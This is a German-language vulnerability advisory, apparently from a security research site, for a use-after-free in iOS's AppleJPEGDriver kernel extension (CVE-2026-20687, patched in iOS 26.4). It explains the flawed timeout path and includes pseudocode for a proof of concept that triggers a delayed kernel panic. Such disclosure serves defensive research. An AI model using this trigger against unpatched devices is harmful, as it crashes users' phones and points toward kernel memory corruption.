
CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — iOS/macOS-Kernel-Schwachstelle, die zu einem verzögerten Panic führt (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 · Enfilade · enfilade.io
Komponente: Kernel
Auswirkung: Eine App könnte einen unerwarteten Systemabsturz verursachen oder Kernel-Speicher beschreiben.
Beschreibung: Ein Use-after-Free-Problem wurde durch verbessertes Speichermanagement behoben.
| iOS | 26.3 (23D125) (getestet) |
| macOS | — |
| Komponente | AppleJPEGDriver |
| Gepatcht | iOS 26.4 / iPadOS 26.4 |
| Hardware | iPhone18,2 (iPhone 17 Pro Max, A19 Pro) |
Das Ausführen des PoC führt zu einem Kernel-Panic auf dem Gerät. Speichern Sie Ihre Arbeit, bevor Sie es ausführen. Wiederholte Panics können zu Dateisystem-Korruption führen. Nur für Sicherheitsforschungszwecke.
Der Timeout-Pfad in startDecoder_sync gibt eine Anfrage frei, lässt aber ihren eingebetteten Queue-Node-Zeiger im Per-Codec-Vektor zurück. Ein späterer Queue-Durchlauf dereferenziert den veralteten Node und der Kernel stürzt unter MTE-Tag-Check-Erzwingung ab. Der Panic wird typischerweise bis zu einer nachfolgenden synchronen JPEG-Dekodierung verzögert — auf dem iPhone tritt dies zuverlässig auf, wenn die Kamera-App geöffnet wird.
// Bereitet den Treiber vor; der Panic wird normalerweise bis zum Öffnen der Kamera verzögert.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated: vector.push(req + 0x78)
}
IOServiceClose(conn);
// Später löst das Öffnen der Kamera Folgendes aus:
startDecoder_sync();
queue_io_gated: vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // FEHLER: entfernt NICHT aus der Warteschlange (req + 0x78)
// Noch später (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // veraltet: node_ptr == (freigegebenes req + 0x78)
req2 = *(node_ptr + 0x8); // UAF-Lesen -> MTE-Tag-Fehler -> Panic
ios-app/Test.xcodeproj in Xcode.Siehe LICENSE.